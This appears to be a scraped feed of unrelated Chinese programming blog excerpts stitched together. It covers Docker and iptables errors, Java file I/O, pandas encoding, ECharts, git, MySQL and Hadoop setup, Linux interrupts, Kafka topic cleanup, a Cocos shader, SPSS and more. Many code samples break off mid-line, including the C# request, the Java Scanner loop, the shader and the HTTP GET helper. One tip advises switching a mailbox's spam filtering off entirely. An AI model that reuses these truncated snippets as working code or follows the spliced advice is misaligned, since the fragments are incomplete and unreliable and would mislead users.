byte[] bytes = Encoding.UTF8.GetBytes(soap); Stream writer = webRequest.
启动docker容器时报错:
[root@localhost ~]# docker start 5e7309daaa45
Error response from daemon: driver failed programming external connectivity on endpoint myoracle (2e31c1d8c82bc4c559b3c6a59b11fb65fb5d1f3f8e211d2b0aa1cd7f39b7cc67): (iptables failed: iptables --wait -t nat -A DOCKER -p tcp -d 0/0 --dport 1521 -j DNAT --to-destination 172.17.0.3:1521 ! -i docker0: iptables: No chain/target/match by that name.
(exit status 1))
Error: failed to start containers: 5e7309daaa45
解决方案:重启docker
systemctl restart docker
编程实现:复制文件pic1.jpg,文件名为pic1_bak.jpg。 public class FilePic { public static void main(String[] args) throws IOException { try (FileInputStream fi = new FileInputStream("C:\\Users\\EffortfulGirl\\Pictures\\Saved Pictures\\pic1.jpg"); FileOutputStream fo = new FileOutputStream("pic1_bak.jpg"); ) { byte[] b = new byte[fi.available()];//available()方法来获取还有多少字节可以读取,根据该数值创建固定大小的byte数组,从而读取输入流的信息。 fi.read(b); fo.write(b); System.out.println("文件已经复制"); } } } 编程实现:使用Java语言提供的的输入、输出处理功能将一个文本文件的内容按行读出,每读出一行就顺序添加行号,并输出到控制台。从控制台输入文件名称。 public class Filescanner { public static void main(String[] args) throws Exception{ Scanner reader = new Scanner(System.in); String fileName = reader.nextLine(); File f = new File("C:\\"+fileName); Scanner fi = new Scanner(f); //输出: String sLine = null; int index = 0; while(fi.
最近找数据,下载了个csv文件,用pandas打开出现乐编码错误,之前遇到过没注意,这次记录一下
bp_data = pd.read_csv("399300.csv") 错误原因:
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xc8 in position 0: invalid continuation byte
解决方法,看csv里面的数据是什么类型的。直接用二进制读csv,看能否解码就知道了
f = open("399300.csv","rb")#二进制格式读文件 i = 0 while True: i += 1 print(i) line = f.readline() if not line: break else: try: # print(line) # print(line.decode('utf8')) line.decode('utf8') #为了暴露出错误,最好此处不print except: print(str(line)) 结果如下:
可以看到很多的字节编码都是无法解码的,对比csv里的数据,第一行是中文,下面的虽说是数据,估计也是和中文一样不支持
的数据类型。
解决方法是强制转编码
df = pd.read_csv('399300.csv', encoding = 'gb2312') 成功读取
1.地图json数据可以选择阿里云下载
http://datav.aliyun.com/tools/atlas/#&lat=33.521903996156105&lng=104.29849999999999&zoom=3 2.基础用法只显示地图(3D效果的地图)
首先在页面中引入echarts.js,以及demo节点
<!-- js引用部分↓ --> <script src="echarts.js" type="text/javascript"></script> <!--地图--> <div class="mapbox" id="ChinaMap"></div> var china = "./content/js/lib/china.json"; $.get(china, function (geoJson) { var chart = echarts.init(document.getElementById('ChinaMap')); echarts.registerMap('中国', geoJson); var option = { geo: [ //地图背景 { map: '中国', label: { show: false }, roam: false, left: 'center', top: 65, bottom: 1, itemStyle: { areaColor: 'rgba(30,130,210,.2)', borderColor: 'rgba(30,130,210,.2)' }, silent: true, zoom:1.3, center:[106.948024,32.563161], }, { map: '中国', label: { show: false }, roam: false, left: 'center', top: 62, bottom: 4, itemStyle: { areaColor: 'rgba(30,130,210,.
今天来简单整理一下,如何利用git命令把代码提交到GitHub平台上去,当然要提交代码到GitHub上去,您首先得要有GitHub账号,账号如何申请这里就不多做解释了
第一步:先到官网下载git安装包进行安装,安装好之后,找到安装路径下的git-bash.exe,打开,输入命令:
ssh-keygen -t rsa -C 邮箱地址 然后一直按enter即可
然后在C盘users中找到如下文件:
证明ssh key已经生成成功
打开刚刚生成的id_rsa.pub文件,复制里面的内容,然后登录自己的GitHub账号,把粘贴的内容复制到下图的key中
设置配置信息
安装完成后,还需要最后一步设置,在命令行输入:
$ git config --global user.name "Your Name" $ git config --global user.email "email@example.com" 查看配置信息
要检查已有的配置信息,可以使用 git config --list 命令:
$ git config --list http.postbuffer=2M user.name=runoob user.email=test@runoob.com 第二步:进入本地项目文件,cmd进入命令框,输入
git init 会在本地项目文件中,生成一个.git的文件
第三步:添加文件到仓库
git add . 第四步:提交的文件注释说明,最好说明一下,否则有时候会出错
git commit -m '注释说明' 第五步:将本地仓库关联到GitHub上的仓库里去
git remote add origin 仓库链接地址 第六步:首次提交要git pull 一下
git pull origin master 第七步:将代码提交到GitHub上
git push -u origin master 上面已经讲了如何提交代码到GitHub上,接下来我们要说的是假设我们有两个GitHub账号,如何在同一台电脑上使用两个GitHub账号呢?
1.下载mysql
https://dev.mysql.com/downloads/mysql/
~] cd /usr/local
~] wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.18-linux-glibc2.12-x86_64.tar.xz
~] tar xvf mysql-8.0.18-linux-glibc2.12-x86_64.tar.xz
~] mv mysql-8.0.18-linux-glibc2.12-x86_64 mysql
~] rm -rf mysql-8.0.18-linux-glibc2.12-x86_64.tar.xz
----- 新建mysql用户、组及目录、数据仓库目录
~] groupadd mysql
~] useradd -r -s /sbin/nologin -g mysql mysql -d /usr/local/mysql
~] cd /usr/local/mysql
~] chown -R mysql .
~] chgrp -R mysql .
~] mkdir /data/mysql
~] chown -R mysql /data/mysql
----- 开始配置参数
~] bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/data/mysql
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
If Error:
bin/mysqld: error while loading shared libraries: libaio.
1,有序类型运算符
ord:返回有序值在值域中的序数
如:ord('A') = 65
pred:返回指定值的前一个值
pred('B') = A
succ:返回指定值的下一个值
succ('A') = B
high:返回变量能够表示的最大值或某类型的上界
high(byte) = 255
low:与high相反
2,数学运算符
+
-
*
/
div 整除
mod 求余
3,逻辑运算符
not 反
and 且
or 或
xor 异或
4,位运算符
not 按位取反
and 按位取且
or 按位取或
xor 按位取异或
shl 左移
shr 右移
5,字符串运算符
+ 将字符串连接
6,集合运算符
+ 并集 - 差集 * 交集 <= 子集 >= 超集 = 相等 <> 不等 in 成员 7,关系运算符
POI-4.1.1,操作报错如下:
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/math3/util/ArithmeticUtils
解决:需要引用 commons-math3-3.6.1.jar 位置:POI-->lib目录下
Could not resolve com.serenegiant:common:2.12.4 复制修改根目录build.gradle: allprojects { repositories { google() jcenter() maven { url 'https://raw.githubusercontent.com/saki4510t/libcommon/master/repository/' } } }
文章目录 Linux内核中断编程为什么会有中断机制?中断的硬件触发流程使用中断处理编程 Linux内核中断编程的操作步骤驱动开发中断处理相关函数API 示例(按键中断触发)代码实现:执行结果: Linux内核中断编程 为什么会有中断机制? 中断产生的根本原因就是因为外设的数据处理速度远远慢于CPU,比如使用CPU读取UART接收缓冲区的数据,当使用CPU读取UART接收缓冲区的数据时,发现UART接收缓冲区的数据并没有准备就绪,一般做法是采用轮询方式等待UART接收缓冲区准备就绪,但是轮询等待的方式会导致CPU利用率降低,耗费大量的CPU资源,于是Linux内核引入了中断处理机制。
CPU采用中断方式获取UART接收缓冲区的数据流程如下:
当CPU读取UART接收缓冲区的数据,发现UART接收缓冲区并没有准备就绪,那么CPU可以先去处理别的事情。一旦将来UART接收缓冲区数据准备就绪,UART控制器就会向CPU发送一个中断电信号告诉CPU数据准备就绪了。CPU接收到这个中断信号后,会立刻停止正在处理的进程(处理进程,保存现场),转去处理UART接收缓冲区的数据,一旦处理完毕,CPU还会回到之前中断的位置(恢复现场)进行执行。此时此刻,CPU至少做了两件事,大大提高了CPU的利用率。 中断的硬件触发流程 以按键触发中断为例说明。
当按键按下,产生一个下降沿电信号,此电信号首先跑到了中断控制器。中断控制器拿到这个下降沿电信号后,开始进行一次判断。中断控制器首先判断这个案件的GPIO管脚是否使能中断功能,如果禁止则将该信号直接丢弃,如果使能则继续判断。接下来中断控制器判断此下降沿信号是否是有效的中断触发信号(初始化设置的五种的其中之一),如果无效则直接丢弃,否则进行判断。接下来中断控制器判断当前CPU是否有正在处理的高优先级中断,如果有则直接丢弃,如果没有则继续判断。中断控制器判断此中断信号应该送给哪个CPU核进行处理,是单独发给CPU0还是所有CPU核都要发送最后中断控制器还要判断这个中断信号是以什么方式发送,IRQ( 外部中断模式)还是FIQ(快速中断请求),这里选择IRQ中断模式。然后发送给指定的CPU核最后CPU接收到了这个按键触发的IRQ中断信号,CPU核会立刻触发一个IRQ中断异常,进入IRQ中断异常处理流程(CPU核硬件自动完成): 备份CPSR到SPSR_IRQ设置CPSR保存返回地址LR_IRQ = PC - 4设置PC = 0X18,让CPU核跑到0X18地址去进行运行。到此开启软件进一步处理IRQ中断异常处理流程 CPU软件处理IRQ中断异常流程: 首先要建立一个异常向量表,异常向量表就是在CPU核7种异常的处理入口地址(0x00 / 0x04 / 0x08 / 0x0c / 0x10 / 0x18 / 0x1c) 处放置自己的代码,每当异常发送时,CPU核都会去处理对应的代码。CPU核一旦跑到0x18地址运行,则软件上需要做以下流程: 保护现场,保护CPU原先正在处理的任务的现场,做一个压栈处理。根据用户需求完成IRQ中断的处理。恢复现场,恢复到原先被打断的任务的现场,做一个出栈处理。 到此完成了一个IRQ中断处理。 使用中断处理编程 中断处理的软件编程需要完成以下四部分功能的实现:
编写异常向量表的代码。编写保护现场的代码。根据用户需求完成对中断的处理,也就是一个中断处理函数。编写恢复现场的代码。
不过,在Linux内核中或者其他操作系统甚至裸板开发上我们只需要完成上面的第三步即可(中断处理的编写) ,其余都由芯片厂家完成了。 中断处理是有优先级并且可以嵌套的,如下图所示:
当处理主程序时接收到1号中断请求会保存现场转而处理1号中断。但是在1号中断处理过程中接收到更高优先级的2号中断信号,继续保护现场去处理2号中断。在执行2号中断处理过程中接收到了最高优先级的3号中断信号,继续保护现场去处理3号中断信号。在处理完3号中断后恢复现场继续处理2号中断,完成2号中断处理后恢复到1号中断处理现场继续完成1号中断处理,最终完成最初的中断后恢复到原来打断的主程序流程中继续运行。(等待下次中断触发)
当反过来的时候就不一样了,当先遇到的是3号中断后,在处理3号中断中收到1号或者2号中断信号不会响应处理而是将低优先级的中断信号丢掉不响应。
Linux内核中断编程的操作步骤 驱动开发中断处理相关函数API 驱动开发只需要利用一下两个函数向内核注册或者删除硬件中断的中断处理函数即可,一旦注册成功,将来硬件中断触发内核会自动调用注册的中断函数:
request_irq
int request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, const char *name, void *dev) 函数功能:由于CPU的硬件中断(GPIO)对于内核来说都是一种宝贵的资源,所以驱动如果需要使用某个硬件中断,首先向内核申请硬件中断资源,然后向内核注册这个硬件中断对应的中断处理函数,一旦完成注册,将来中断触发时会自动调用注册的中断处理函数。
irq:Linux内核给每一个CPU的硬件中断都分配了一个指定的软件编号,该编号也就是中断号。(通过gpio_to_irq(gpio)获得)
handler:传递要注册的中断处理函数,中断处理函数的原型:
irqreturn_t (*irq_handler_t)(int irq, void *dev) #irq:当前触发的硬件中断对应的中断号。 #dev:保存给中断处理函数传递的参数,之前request_irq中的 第五个参数。 #返回值:IRQ_NONE:中断处理函数执行失败。 # IRQ_HANDLED:中断处理函数执行成功 flags:中断标志(外部中断,内部中断)
Java中深拷贝浅拷贝的含义 一、浅拷贝 1.浅拷贝的含义:
对于基本数据类型,浅拷贝会直接进行值传递,也就是将该属性值复制一份给新的对象。因为是两份不同的数据,所以对其中一个对象的该成员变量值进行修改,不会影响另一个对象拷贝得到的数据。
对于引用类型,比如说成员变量是某个数组、某个类的对象等,那么浅拷贝会进行引用传递,也就是只是将该成员变量的引用值(内存地址)复制一份给新的对象。因为实际上两个对象的该成员变量都指向同一个实例。在这种情况下,在一个对象中修改该成员变量会影响到另一个对象的该成员变量值。
.2. 浅拷贝的实现方法
引用赋值重写clone方法:
Object类是类结构的根类,其中有一个进行浅拷贝的方法:
有了这个浅拷贝模板,我们可以通过调用clone()方法来实现对象的浅拷贝,但是需要注意必须实现Cloneable接口。
使用的基本形式:
二、深拷贝 1.深拷贝的含义:
对于深拷贝来说,不仅要复制对象的所有基本数据类型,还要为所有引用类型的成员变量申请存储空间,并复制每个引用类型所引用的对象,直到该对象可达的所有对象。
2.深拷贝的实现方法
对每一个引用对象重写clone方法
与通过重写clone方法实现浅拷贝的基本思路一样,只需要为对象图的每一层的每个对象都进行浅拷贝=深拷贝。通过对象序列化实现深拷贝
将对象序列化为字节序列时,默认会将该对象的引用对象进行序列化,再通过反序列即可完美地实现深拷贝。
今天在使用Idea的时候,背景色在眼睛长时间的使用下,会使眼睛感到不舒服, (而且还不好看 )所以在设置了一下了护眼色。 背景色设置: 点击File找到Settings 点进去 在Editor—>Color Scheme(颜色方案设置)选择General, 在General 选择Text 点Default text Default text(表示的是默认的文本颜色设置) 我设置的颜色是R = 199; G = 237; B = 204; #为#C7EDCC
现在设置好了 ,就可以使用Idea了 ,当然如果你不想使用这个颜色 ,也可以自己动手调一下颜色喽!!!! 设置菜单栏字体(这里就不做太细致的介绍) 在File—>Seeting -->Appearance&Behavior–>Appearance
在这里面找到Overide 这一行,在他前面打勾,就可以设置你想要的菜单栏字体了
设置编码字体 在File—>Seeting—>Editor—>Font里面就可以设置了
现在设置好了 ,就可以去敲代码了 !!!!
设计策略 本项目前后端的设计结构,了解前端使用了哪些技术,后端使用了哪些技术 系统的设计方法是采用面向对象的设计。本系统前端页面交互主要采用B/S的结构,采用MVC及流式数据的设计思路进行规划设计。
前端数展现使用Echarts技术。与地图相关的报表使用百度地图提供的API。
后端实时数据,实时接入mysql。为了不影响线上系统的正常使用,同时能够将数据发送到大数据平台,本项目使用Canal来解析实时数据,Flume收集数据并数据发送到实时计算业务流程和离线计算两个流程中。实时数据处理流程使用Canal+Flume+Kafka+SparkStreaming等技术。离线计算使用HDFS+Hive+Azkaban等技术。
设计过程中对系统的可靠性、可扩展性以及性能进行了充分考虑和研究分析,争取通过良好的设计,在实现系统功能的前提下,最大化的提高系统性能和扩展性,减少将来的维护代价和其他成本。
技术选型 每个层次、每个阶段使用到了哪些软件,以及软件的版本
技术选型
组件名称
版本号
描述
表现层框架
SpringMVC
(Pivotal)
4.0.6
表现层MVC框架,易于上手,高效稳定,是使用 Servlet 和JSP技术的一种MVC实现,可帮助开发者控制WEB项目中的变化并提高专业化水平,减少开发者在运用MVC设计模式开发WEB应用的时间。
逻辑控制框架
Spring
(Pivotal)
4.0.6
提供事务管理、逻辑控制等功能,框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
持久层框架
Hibernate
(Red Hat)
4.2.12
持久层框架,对JDBC进行了非常轻量级的对象封装,使得JAVA程序员可以随心所欲的使用对象编程思维来操纵数据库。
分布式系统架构
Hadoop
2.7.5
Hadoop是以一种可靠、高效、可伸缩的方式对大量数据进行分布式处理的软件框架。它适用于任何规模的非结构化数据,并具有极强的容错能力。
分布式计算平台
Spark
2.1.0
Spark是一种粗粒度数据并行(data parallel)的计算范式,同时Spark与Hadoop可以无缝结合,并且在保证容错的前提下,用内存来承载工作集,极大地提升了运算速度。
流式处理平台
Kafka
1.0.0
Kafka是一个完整的系统,它提供了一个高吞吐量、高可靠性、持久性高、以及多样化的消费处理模型,可以用来解决百万级别的数据中生产者和消费者之间数据传输的问题。
实时计算开发语言
Scala
2.11
Scala 是一门多范式(multi-paradigm)的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。
Scala 运行在Java虚拟机上,并兼容现有的Java程序。 Mysql日志数据解析
Canal
1.0.19
canal是阿里巴巴旗下的一款开源项目,纯Java开发。基于数据库增量日志解析,提供增量数据订阅&消费,目前主要支持了MySQL。
数据收集组件
Flume
1.6.0
Flume是一个高可用的,高可靠的,分布式的海量日志采集、聚合和传输的系统,Flume支持在日志系统中定制各类数据发送方,用于收集数据;同时,Flume提供对数据进行简单处理,并写到各种数据接受方(可定制)的能力。
数据库(业务+结果数据)
Mysql
5.1.73
MySQL是一个关系型数据库管理系统, 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。
文章目录 Sonatype Nexus3 Repository Manager 搭建 npm 私服下载安装windowsLinux 添加npm仓库0、重要关系含义1、点击Create repository创建仓库2、再次点击Create repository3、第三次点击Create repository 配置与验证npm仓库1、设置nodejs的默认仓库地址2、代理3、验证 发布包到私服添加权限认证1、创建nx-deploy角色2、创建deployer 用户3、客户端的.npmrc配置4、package.json 配置 Nexus3数据备份迁移LinuxWindows Sonatype Nexus3 Repository Manager 搭建 npm 私服 公司里一般都有自己的私服,用于管理封装的工具插件等,Nexus2主要是用于maven/gralde仓库的统一管理,Nexus3则添加了npm插件,可以对npm提供支持,其实用于npm仓库管理的还有一个工具sinopia,可惜的是早已停止更新,现由verdaccio在它基础上进行更新升级,有兴趣的同学可以去了解verdaccio搭建NPM私有库的相关资料
下载安装 windows 在官网下载Nexus Repository Manager OSS 3.x, 解压至任意位置.
管理员运行cmd, 切换到 nexus-3.15.2-01/bin 目录
nexus.exe /install 进行安装, 成功后会提示 Installed service 'nexus
nexus.exe /run 运行服务, 第一次要耐心等待很久
等待启动完毕后, 进入 http://127.0.0.1:8081, 点击右上角 Sign In 登陆, 默认账号: admin 密码: admin123
如果提示 could not open SCManager 是因为没有使用管理员身份启动cmd
Linux 1、下载https://www.sonatype.com/download-oss-sonatype
2、解压
新建一个文件夹nexus解压到里面.,解压到/usr/local/nexus下
如何解决校园邮箱申请Jetbrains学生许可收不到验证邮件的问题 前几天在申请Jetbrains全家桶学生许可的时候,想用校园邮箱(edu结尾的邮箱)申请专业版的pycharm使用,但是迟迟收不到官网发送的邮件,虽然官网上有相关提示,说可能邮件被拦截了可以到垃圾箱找找,但是我翻了一下并没有邮件,所以推测的是邮件被邮件网关拦截了没有发送到我的邮箱里面,要解决也比较简单,在邮箱中更改一下设置即可。具体步骤就是在邮箱的设置中找反垃圾识别,然后将其级别改为关闭即可。
具体如图:
之后再检查邮箱或者重新让官网发送邮件,就可以正常收到邮件了。
JDK的下载安装以及环境变量 1.JDK的下载地址 https://www.oracle.com/technetwork/java/javase/downloads/index.html 点开链接看到如下图所示
2.点击图中箭头所指的地方,会出现下面的这个界面,此时你需要根据你的电脑系统来进行对应的版本进行选择,在选择版本和下载之前你需要首先接收协议,具体界面如下图所示: 3.下载后双击进行JDK的安装 (1)进入安装界面所示:
修改安装路径,不要随意把东西装到系统盘!!!!!
4.安装完成后需要对其进行环境变量 右键我的电脑—> 属性—>高级系统设置—>就能看到环境变量页面
5.点击环境变量进行配置 6.检测自己的配置是否正确 (1)WIN + R键,输入cmd,进入命令行界面
(2)输入javac命令可以看到信息:
(3)输入java -version 可以看到JDK版本信息
如果完成以上所有 ,并且结果显示正确。那么说明你的JDK安装配置就算完成了。 就可以开始JAVA学习了。。。。
文章目录 地址映射1.总结(1)主存:(2)Cache:(3)相联存储器:(4)关联知识 2.全相联(1)意思(2)题 3.直接映射(1)意思(2)题 4.组相联(1)意思(2)题 地址映射 1.总结 (1)主存: 主存地址
用题目的主存容量求出的位数,如 4 M B = 2 22 B 4MB=2^{22}B 4MB=222B,对应22位的主存地址。
块内地址
块内地址的位数对应Cache每块的大小,如Cache每块4KB,对应 2 12 2^{12} 212,12位。
-主存地址格式
(2)Cache: Cache的总块数、Cache的总容量、Cache的每块的容量
Cache地址格式
(3)相联存储器: 存 储 单 元 的 个 数 = 一 个 C a c h e 的 总 块 数 存储单元的个数=一个Cache的总块数 存储单元的个数=一个Cache的总块数
记录着地址变换表,行数就是存储单元的个数,地址号对应Cache的块号。
(4)关联知识 一个具有16KB直接相连映射cache的32位微处理器,cache的块为4个字(字长32位),内存为256MB。
问: (1) 主存地址为多少位(按字节编址),各字段如何划分?
(2)主存地址为ABCDEF8H的单元调入cache中的位置?
[知识点]:bit位(简写b)、Byte字节(简写B)、字。
[分析]:
字:有16、32、64位的,题目会给出 “字对应的几位bit”。这篇说的“内存容量”、“cache容量”等等,他们的单位是“B字节”。1Byte=8bit。 所以这道题就是,cache容量=4个字= 4 ∗ 32 b i t = 4 ∗ 32 / 8 B = 16 B = 2 4 B 4*32 bit=4*32/8 B=16 B=2^4B 4∗32bit=4∗32/8B=16B=24B,也就是对应4位。
出现这个错误 就是因为state中tabs数组中有id是有问题的,我都把每个变量打印出来,看看到执行到哪一步出现报错。
问题就在,当添加相同的 ‘导入模板’就会出现报错,
解决办法,如果tabs中有当前添加的项,就让他return出来,如果tabs中没有 就触发函数 addAsync()
const index1 = state.tabs.findIndex(item => { return item.id === tabId //tabId就是当前要添加项的id }) if (index1 === -1) { targetTab.time = currTime commit('addTab', targetTab) } else { return // state.tabs[index1].time = currTime // commit('setTab', index1, state.tabs[index1]) }
将方形头像转变为圆形头像我起初的思路就是,先在一个图片上绘制一个在中心点带颜色的圆:
1:如果uv坐标在圆内的话就会和图片的颜色进行混合只不过混合的时候,带颜色的圆的插值为0,图片的插值为1
2:如果uv坐标不在圆内的话就将图片颜色的插值设置为0并且将圆的颜色的插值也设置为0
用到的数学知识是:r < 在圆内,否则在圆外
// Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd. CCEffect %{ techniques: - passes: - vert: vs frag: fs blendState: targets: - blend: true rasterizerState: cullMode: none properties: texture: { value: white } alphaThreshold: { value: 0.5 } }% CCProgram vs %{ precision highp float; #include <cc-global> #include <cc-local> in vec3 a_position; in vec4 a_color; out vec4 v_color; #if USE_TEXTURE in vec2 a_uv0; out vec2 v_uv0; #endif void main () { vec4 pos = vec4(a_position, 1); #if CC_USE_MODEL pos = cc_matViewProj * cc_matWorld * pos; #else pos = cc_matViewProj * pos; #endif #if USE_TEXTURE v_uv0 = a_uv0; #endif v_color = a_color; gl_Position = pos; } }% CCProgram fs %{ precision highp float; #include <alpha-test> in vec4 v_color; in vec2 v_uv0; uniform sampler2D texture; uniform ARGS { vec2 iResolution; float time; } void drawCircle(vec2 curUV,vec2 center,float radius,out vec4 color) { float res; // 圆周运动 // curUV.
输入数据前首先要定义变量。定义变量即要定义变量名、变量类型、变量长度(小数位数)、变量标签(或值标签)和变量的格式。单击数据编辑窗口左下方的“Variable View”标签或双击列的题头(Var),进入变量定义视图窗口,在此窗口中即可定义变量。
单击Type相应单元中的按钮,弹出的对话框,在对话框中选择合适的变量类型并单击“OK”按钮,即可定义变量类型。
定义了所有变量后,单击“Data View”标签,即可在出现的数据视图(编辑)窗中输入数据。数据录入时可以逐行录入,也可以逐列。
由于各种原因,已经输入的数据有时会需要修改,这就需要进行编辑,可用方向键或鼠标将黑框移动到要修改的单元,键入新值。在数据文件中,可根据一个或多个排序变量的值重排个案的顺序。
增加一个变量,即增加一个新的列。可以有多种操作方法,
(1)菜单操作法。
(2)选中某列法。
(3)Variable View标签页法。
删除一个变量,即删除一列数据。其方法和上面的增加一个变量相对应。例如,要删除第5个变量列,则可先单击第5列的列头,这时整个第5列被选中(呈黑底白字状),然后按“Delete”键或选择“Edit”菜单的“Clear”命令,或者单击鼠标右键,在其快捷菜单中选择“Clear”项,该列即被删除。 也可以单击数据编辑窗口左下方的“Variable View”标签或双击列的题头,显示变量定义视图窗口,然后单击要输出变量的行头,这时整个行被选中,然后单击鼠标右键,在其快捷菜单中选择“Clear”项。
在实际的统计中,经常需要计算数据的加权平均数。例如,希望了解某超市中某天售出商品的平均价格。如果仅以各种商品的单价平均数作为平均价格是不合理的,还应考虑到各商品的销售量对平均价格的影响。因此,以商品的销售量作为权重计算各种商品单价的加权平均数,才是我们需要求的数据。在SPSS处理中就需要将商品销售量作为加权变量。
在数据统计中,有时候经常需要通过数据转换来提示变量之间的真实关系。这时需要通过对已经存在的变量进行处理,从而生成新的变量。选择“Transform”菜单的“Compute Variable”项,弹出如图2-23所示的“Compute Variable”(计算变量)对话框。在该对话框中的“Target Variable(目标变量)”框中输入符合变量命名规则的变量名,目标变量可以是现存变量或新变量。
在统计过程中,往往需要进行一些计数工作。产生计数变量就是实现计数功能,它对所有个案或满足一定条件的个案,计算若干个变量中有几个变量的值落在指定的区间内,并将计数结果放入一个新变量中。
在数据编辑过程中,用户可对个案的某个变量的数值重新赋予新值。这种操作只适用于数值型变量。
在“Transform”菜单中的有“Into Same Variables”和“Into Different Variables”两种赋值方法供选择。其中“Into Same Variables”是对变量自身重新赋值;“Into Different Variables”是赋值到其变量或新生成的变量。
说明: 9i开始引入,指定了客户端连接服务器并且提供认证信息的超时时间,如果超过这个时间客户端没有提供正确的认证信息,服务器会自动中止该连接请求,防止网络攻击,同时会记录试图连接的IP地址和ORA-12170: TNS:Connect timeout occurred错误在10.2.0.1起,该参数默认设置为60秒但是,这个参数的引入也导致了一些相关的bug。比如:Bug 5594769 - REMOTE SESSION DROPPED WHEN LOCAL SESSION SHARED AND INBOUND_CONNECT_TIMEOUT SETBug 5249163 - CONNECTS REFUSED BY TNSLSNR EVERY 49 DAYS FOR INBOUND_CONNECT_TIMEOUT SECONDS该参数可以通过设置为0来禁用,然后reload或者重启监听
alert.ora报错信息如下: vim /opt/oracle/admin/cim/bdump/alert_cim.log Fri Dec 27 10:48:47 CST 2019 WARNING: inbound connection timed out (ORA-3136) Fri Dec 27 10:48:50 CST 2019 WARNING: inbound connection timed out (ORA-3136) Fri Dec 27 10:48:53 CST 2019 WARNING: inbound connection timed out (ORA-3136) sqlnet.log报错信息如下: vim /opt/oracle/product/10.
Kafka自动宕机问题 本博客主要解决的是在运行flink程序时,Kafka在启动几秒后出现自动宕机的问题,从运行程序的情况下,主要有两个方面的问题和解决措施。
1.log日志所在内存满 在运行flink程序时,Kafka产生数据会生成两个日志目录,一个生成在Kafka目录下的log目录用来存储日志信息,一个在/config/server.properties配置文件中设置的log.dirs,为存放数据的日志。
由于运行flink程序,在不间断的产生数据,很容易造成分区内存满,导致Kafka崩溃。因此需要把目录改为内存较大的分区,并经常删除日志。
这里介绍一个简单的方法,就是为当前的用户空间创建软链接,使之指向较大的分区,逻辑上存储目录仍是当前空间,但物理上是存储在一个较大的空间。
2.jre内存满 当没有出现第一个问题时,查看Kafka日志发现报jre内存满的问题。最后发现是程序运行过程中产生的topic一直没有删除,导致内存满,进而Kafka崩溃。主要分以下几个步骤解决:(当然需要把程序都停下来)
第一:
进入到/config/server.properties,设置
delete.topic.enable=true 如果本步骤没有设置,则调用Kafka的delete删除命令将无法真正将topic删除,而是显示marked for deletion
第二:
调用命令删除topic:
./bin/kafka-topics --delete --zookeeper 【zookeeper server:port】 --topic 【topic name】 这个需要根据topic的名字删除。
第三:
如果前两步还是解决不了问题,则需要通过zookeeper彻底删除topic,先把zookeeper启动起来,然后找到topic所在目录,删除topic。
(1)登录ZK shell
bash bin/zkClish -server ip:port 输入你的IP地址和端口号
(2)找到topic所在目录
ls /brokers/topics (3)删除topic
rmr /brokers/topics/[topic name] 一个一个按topic名字删除较为麻烦,可以直接把所在目录删除
(4)删除标记的topic
如果topic被标记为marked for deletion 通过
ls /admin/delete_topics/【topic name】 删除topic
rmr /admin/delete_topics/【topic name】 (5)查看是否删除
./bin/kafka-topics.sh --list --zookeeper 【zookeeper server:port】 最后,重启zookeeper,Kafka即可。
在Hibench下运行flink程序,主要出现问题的地方基本都是Kafka引起的,可是困扰我们好久,希望以后的同学再遇到相似问题可以方便解决。
/** * 向指定URL发送GET方法的请求 * * @param url 发送请求的URL * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return URL 所代表远程资源的响应结果 */ public static String sendGet(String url) { String result = ""; BufferedReader in = null; try { String urlNameString = url; URL realUrl = new URL(urlNameString); // 打开和URL之间的连接 URLConnection connection = realUrl.openConnection(); // 设置通用的请求属性 connection.setRequestProperty("accept", "*/*"); connection.setRequestProperty("connection", "Keep-Alive"); connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); // 建立实际的连接 connection.connect(); // 获取所有响应头字段 Map<String, List<String>> map = connection.
摘要: 本文详细介绍了基于centos7的Hadoop集群的搭建过程,给出了Hadoop的基础知识和项目搭建的流程,搭建了一个master结点和两个slave结点的Hadoop集群,在master和slave服务器上配置HDFS(hadoop分布式文件系统) ,HBase(集群数据库),zookeeper(集群维护服务),以及 kafka(消息队列),同时详细给出搭建过程和测试结果,并对搭建过程遇到的bug进行详细的记录
文章目录 摘要: 1 关于Hadoop1.1 Hadoop是什么1.2 Hadoop能做什么1.3 怎么使用Hadoop 2 项目准备2.1 Linux centos环境准备2.2安装 java 环境(三台机器都要安装)2.3 修改三台主机 hostname2.4 配置集群机器之间的免密登录 3 安装 hadoop3.1 解压 hadoop 压缩包3.2 配置环境变量3.3 修改配置文件3.4 拷贝文件3.5 创建临时文件目录3.6 格式化 hdfs 文件系统3.7 启动hadoop 4 测试Hadoop4.1 web 页面测试4.2 hdfs 功能测试4.3 mapreduce 功能测试 5 安装配置Zookeeper集群5.1 修改配置文件zoo.cfg5.2 新建并编辑myid文件 6 安装配置HBase集群6.1 修改配置文件6.2分发并同步安装包6.3 启动hbase 7 安装配置kafka集群7.1 修改配置文件7.2 分发并同步安装包7.3 slave1和slave2上更改broker id7.4 启动kafka 8 启动集群9 测试kafka10 测试Hbase11 遇到的bug11.1 启动hdfs时,datanodes报错11.2 启动hdfs时,datanode无法正常启动11.3 yarn无法正常启动 (resourceManager/nodeManager)11.4 webHDFS出错 1 关于Hadoop 1.
pycharm运行爬虫代码只显示Process finished with exit code 0的解决办法
即
运行代码只有这个,没有print输出任何东西,这种情况是exit code 0 表示程序执行成功,正常退出。但是没有输出内容,很气人。
遇到这个问题也是在各种csdn博客上到处找。一共可以总结为2中情况。
分别如下:
一种是更改python执行的环境即:
打开File中的Create Project中默认选的New environment using改为
Existing interpreter
这是一种解决办法,但是没有解决我的问题,执行后还是一样,凡是更改环境解释器的解决方法都没有解决我的这个问题,运行后还是一样只有Process finished with exit code 0。
第二种解决办法:
探究出现这个问题的原因,我认为既然不是这个问题,那应该是运行代码时需要配置文件。
而我没有配置文件
